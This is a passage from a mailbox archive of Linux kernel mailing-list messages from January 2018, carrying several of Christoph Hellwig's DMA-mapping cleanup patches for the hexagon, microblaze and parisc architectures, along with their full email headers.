        MHbR1F0DY14AFu6k5B6y+udGLmVagGONZidO80oURPSVsnHGx98ln13oTuBWTKE6lNbcux7HIQuL1
        NSZbfpSfP8LRvxU7wFC3Ib4WTXOZRQzMsouMNFPR0Sfu1ga+sKQ5BAc5eGihrZ1uHVbUFCd6aDhbn
        GRQlttjkUZtweMlpsBtGHVPmG5NzcsYNEc4+w2pvt3E/go6xa3sARKxxqQHjOphRrc7/zlR75hsvW
        lMH9iAkQ/m2laN2FURqIF1LhZjv5bOC0aVe17MI3LdrO9HNNJ44t0EInBB+lVJKu6tzrB/bNQSZKx
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuvp-0007q2-Gl; Fri, 12 Jan 2018 08:43:22 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28240 gmane.linux.kernel.iommu:22154 gmane.linux.ports.alpha:4737 gmane.linux.kernel.arc:3347 gmane.linux.ports.arm.kernel:625653 gmane.linux.ports.hexagon:1563 gmane.linux.ports.ia64:28598 gmane.linux.kernel.metag:1640 gmane.linux.ports.mips.general:63295 gmane.linux.ports.ppc64.devel:152022 gmane.linux.ports.sh.devel:56299 gmane.linux.ports.sparc:27248 gmane.linux.kernel.cross-arch:41456 gmane.linux.kernel:2665086
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28240>

Signed-off-by: Christoph Hellwig <hch@lst.de>
Acked-by: Richard Kuo <rkuo@codeaurora.org>
---
 arch/hexagon/include/asm/dma-mapping.h | 7 -------
 arch/hexagon/kernel/dma.c              | 1 +
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/hexagon/include/asm/dma-mapping.h b/arch/hexagon/include/asm/dma-mapping.h
index 5208de242e79..263f6acbfb0f 100644
--- a/arch/hexagon/include/asm/dma-mapping.h
+++ b/arch/hexagon/include/asm/dma-mapping.h
@@ -37,11 +37,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return dma_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return 0;
-	return addr + size - 1 <= *dev->dma_mask;
-}

From - Thu Nov 08 21:40:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 09/34] dma-mapping: take dma_pfn_offset into account in
	dma_max_pfn
Date: Fri, 12 Jan 2018 09:42:07 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20180112084232.2857-10-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515746501 6941 195.159.176.226 (12 Jan 2018 08:41:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:41:41 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jan 12 09:41:35 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZutt-0000uC-Mu
	for glki-iommu@m.gmane.org; Fri, 12 Jan 2018 09:41:22 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id C56931043;
	Fri, 12 Jan 2018 08:43:09 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 281BE1014
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:43:09 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id B13AD124
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:43:08 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=JFd3P/E85+9wVttch5YmzKsSBAZ9EJUnydKoA/xSCVQ=;
	b=l+Ivm+72WDswpWL2C9+jia63F
	HKOyFnECuq5MpKOobFkC6oUq4Kvmjt5gV7nQJSeZJHj4YNFpfaV6O6o/DufPVLexaJpBDtcMoG3cb
	aQmv1qT7jzG3PwaePyuUJxU//kbzlIySR7RWkLLQYE3IMcNJWobI+IYOqW6r4YrUXKShWALZMLPoS
	YEMv4o7X80OoFxHy6E9bxxAwStdipzVyJ55vRtqifcCWvA0BrjinnFHJWncWXJiZgHje67c+/h5zl
	GIIxb0IhkyrTP4JdtbxbNh4KGSOGiAkBHnFpT1dmsL6QwtfCFJJDURpuvN1FMob7/zPEphu2IGY+X
	GBaIvrFxQ==;
Original-Received: from [188.21.167.3] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZuvZ-0007VK-7j; Fri, 12 Jan 2018 08:43:05 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22155 gmane.linux.ports.mips.general:63296 gmane.linux.ports.ia64:28599 gmane.linux.ports.sh.devel:56300 gmane.linux.ports.sparc:27249 gmane.linux.kernel.cross-arch:41457 gmane.linux.ports.hexagon:1564 gmane.linux.kernel.arc:3348 gmane.linux.kernel.metag:1641 gmane.linux.ports.arm.kernel:625654 gmane.linux.ports.parisc:28241 gmane.linux.kernel:2665087 gmane.linux.ports.alpha:4738 gmane.linux.ports.ppc64.devel:152023
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22155>

This makes sure the generic version can be used with architectures /
devices that have a DMA offset in the direct mapping.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Reviewed-by: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>
---
 include/linux/dma-mapping.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 81ed9b2d84dc..d84951865be7 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -692,7 +692,7 @@ static inline int dma_set_seg_boundary(struct device *dev, unsigned long mask)
 #ifndef dma_max_pfn
 static inline unsigned long dma_max_pfn(struct device *dev)
 {
-	return *dev->dma_mask >> PAGE_SHIFT;
+	return (*dev->dma_mask >> PAGE_SHIFT) + dev->dma_pfn_offset;
 }
 #endif
 
-- 
2.14.2


From - Thu Nov 08 21:40:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 17/34] microblaze: remove dma_nommu_dma_supported
Date: Fri, 12 Jan 2018 09:42:15 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <20180112084232.2857-18-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746503 7247 195.159.176.226 (12 Jan 2018 08:41:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:41:43 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Jan 12 09:41:36 2018
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eZuu7-0007w8-Oz
	for glpi-linux-ia64-2@m.gmane.org; Fri, 12 Jan 2018 09:41:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933499AbeALInh (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Fri, 12 Jan 2018 03:43:37 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:55057 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933668AbeALIng (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Fri, 12 Jan 2018 03:43:36 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=daXQo6Y99hwpSpRDFBCb2+LAWBz1XhosisIRKsz/OLU=; b=cXXon/DSrsFaQMuqMZ3Ylv5OE
        OzvJL0X/Y+fqcgnelwYtGPYiGxBeWNczHty1nmepn/VG4J8cDFm5JbANFafpa/t5f8Es24QdQVljN
        ZBfULscNYmWXV314WJRoms4hB4bsan4XklBkay2eHlAF955IcXMPz4BSSzZtftTdOnXI+Qo3vi33k
        uI8BxqaWhzvmDkYbpLJ08tCUVOEK/edEtZgeLJTICakI6CO8nXh3RBRYrcpYTbsAmLPEQd5U/xKI4
        ptSjjvAG88UF6H3GDhwRelC/XpXp+3Gr3CqZCNK2pSXbnRgTWrkGEst5dApDoZUX+XSZVm/QWLeaA
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuvz-00083a-Rm; Fri, 12 Jan 2018 08:43:32 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28600 gmane.linux.kernel.iommu:22156 gmane.linux.ports.alpha:4739 gmane.linux.kernel.arc:3349 gmane.linux.ports.arm.kernel:625655 gmane.linux.ports.hexagon:1565 gmane.linux.kernel.metag:1642 gmane.linux.ports.mips.general:63297 gmane.linux.ports.parisc:28242 gmane.linux.ports.ppc64.devel:152024 gmane.linux.ports.sh.devel:56301 gmane.linux.ports.sparc:27250 gmane.linux.kernel.cross-arch:41458 gmane.linux.kernel:2665088
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28600>

Always returning 1 is the same behavior as not supplying a method at all.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/microblaze/kernel/dma.c | 6 ------
 arch/parisc/kernel/pci-dma.c | 7 -------
 2 files changed, 13 deletions(-)

diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index 450803e5731a..b45d8f8967af 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -89,11 +89,6 @@ static int dma_nommu_map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
-static int dma_nommu_dma_supported(struct device *dev, u64 mask)
-{
-	return 1;
-}
-
 static inline dma_addr_t dma_nommu_map_page(struct device *dev,
 					     struct page *page,
 					     unsigned long offset,
@@ -209,7 +204,6 @@ const struct dma_map_ops dma_nommu_ops = {
 	.free			= dma_nommu_free_coherent,
 	.mmap			= dma_nommu_mmap_coherent,
 	.map_sg			= dma_nommu_map_sg,
-	.dma_supported		= dma_nommu_dma_supported,
 	.map_page		= dma_nommu_map_page,
 	.unmap_page		= dma_nommu_unmap_page,
 	.sync_single_for_cpu	= dma_nommu_sync_single_for_cpu,
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index c0dfd892f70c..91bc0cac03a1 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -75,11 +75,6 @@ void dump_resmap(void)
 static inline void dump_resmap(void) {;}
 #endif
 
-static int pa11_dma_supported( struct device *dev, u64 mask)
-{
-	return 1;
-}
-
 static inline int map_pte_uncached(pte_t * pte,
 		unsigned long vaddr,
 		unsigned long size, unsigned long *paddr_ptr)
@@ -579,7 +574,6 @@ static void pa11_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 }
 
 const struct dma_map_ops pcxl_dma_ops = {
-	.dma_supported =	pa11_dma_supported,
 	.alloc =		pa11_dma_alloc,
 	.free =			pa11_dma_free,
 	.map_page =		pa11_dma_map_page,
@@ -616,7 +610,6 @@ static void pcx_dma_free(struct device *dev, size_t size, void *vaddr,
 }
 
 const struct dma_map_ops pcx_dma_ops = {
-	.dma_supported =	pa11_dma_supported,
 	.alloc =		pcx_dma_alloc,
 	.free =			pcx_dma_free,
 	.map_page =		pa11_dma_map_page,
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.iommu,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 18/34] microblaze: remove the dead !NOT_COHERENT_CACHE dma code
Date: Fri, 12 Jan 2018 09:42:16 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20180112084232.2857-19-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746519 10651 195.159.176.226 (12 Jan 2018 08:41:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:41:59 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-alpha-owner@vger.kernel.org Fri Jan 12 09:41:53 2018
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1eZuuD-0007w8-4d
	for lnx-linux-alpha@m.gmane.org; Fri, 12 Jan 2018 09:41:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933715AbeALInm (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Fri, 12 Jan 2018 03:43:42 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:53591 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933683AbeALIni (ORCPT
        <rfc822;linux-alpha@vger.kernel.org>);
        Fri, 12 Jan 2018 03:43:38 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=01FVK7YGZS5IcvQMFYjkZ5jWZV0wHvfX7e4F1MK9uDQ=; b=ZtXw8mo+vOawCG/q8X5Au9Gea
        voK5omW5JRWeJ+H38XC12VrfJhlAY8KSfiRQFTSH5a6/kQYixoJ+JIFAQhQ8Lfoh+XVLHe3rh+DSj
        duZmu0VuXrOmnlBP1GgCfjyx5bYl0K8hSJ+Ne8NT4TK+3D7MW1c5ukPNxtFcJiSJrYX9jF407OHDQ
        sZwqQEROm9EMdzdXJsSmUQfzOC+IgAfoSm9zdz+OI/AlEsqpgQ7Auy6ZDeT9uwzFKxlkLgPKnEB0e
        GcetGs79+Pm4WJF5KM51eDOk/RMx1EV+AzSzhDVlRx1CFqIQTcqSy08E02Xc9SIJMJG3bF0VdgHpU
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuw2-00087Z-Ti; Fri, 12 Jan 2018 08:43:35 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4740 gmane.linux.kernel.iommu:22157 gmane.linux.kernel.arc:3350 gmane.linux.ports.arm.kernel:625656 gmane.linux.ports.hexagon:1566 gmane.linux.ports.ia64:28601 gmane.linux.kernel.metag:1643 gmane.linux.ports.mips.general:63298 gmane.linux.ports.parisc:28243 gmane.linux.ports.ppc64.devel:152025 gmane.linux.ports.sh.devel:56302 gmane.linux.ports.sparc:27251 gmane.linux.kernel.cross-arch:41459 gmane.linux.kernel:2665089
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4740>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/microblaze/kernel/dma.c | 28 ----------------------------
 1 file changed, 28 deletions(-)

diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index b45d8f8967af..c91e8cef98dd 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -15,42 +15,18 @@
 #include <linux/bug.h>
 #include <asm/cacheflush.h>
 
-#define NOT_COHERENT_CACHE
-
 static void *dma_nommu_alloc_coherent(struct device *dev, size_t size,
 				       dma_addr_t *dma_handle, gfp_t flag,
 				       unsigned long attrs)
 {
-#ifdef NOT_COHERENT_CACHE
 	return consistent_alloc(flag, size, dma_handle);
-#else
-	void *ret;
-	struct page *page;
-	int node = dev_to_node(dev);
-
-	/* ignore region specifiers */
-	flag  &= ~(__GFP_HIGHMEM);
-
-	page = alloc_pages_node(node, flag, get_order(size));
-	if (page == NULL)
-		return NULL;
-	ret = page_address(page);
-	memset(ret, 0, size);
-	*dma_handle = virt_to_phys(ret);
-
-	return ret;
-#endif
 }
 
 static void dma_nommu_free_coherent(struct device *dev, size_t size,
 				     void *vaddr, dma_addr_t dma_handle,
 				     unsigned long attrs)
 {
-#ifdef NOT_COHERENT_CACHE
 	consistent_free(size, vaddr);
-#else
-	free_pages((unsigned long)vaddr, get_order(size));
-#endif
 }
 
 static inline void __dma_sync(unsigned long paddr,
@@ -186,12 +162,8 @@ int dma_nommu_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
 	if (off >= count || user_count > (count - off))
 		return -ENXIO;
 
-#ifdef NOT_COHERENT_CACHE
 	vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
 	pfn = consistent_virt_to_pfn(cpu_addr);
-#else
-	pfn = virt_to_pfn(cpu_addr);
-#endif
 	return remap_pfn_range(vma, vma->vm_start, pfn + off,
 			       vma->vm_end - vma->vm_start, vma->vm_page_prot);
 #else
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 16/34] microblaze: rename dma_direct to dma_nommu
Date: Fri, 12 Jan 2018 09:42:14 +0100
Lines: 163
Approved: news@gmane.org
Message-ID: <20180112084232.2857-17-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746523 11454 195.159.176.226 (12 Jan 2018 08:42:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:42:03 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
        linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
        linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
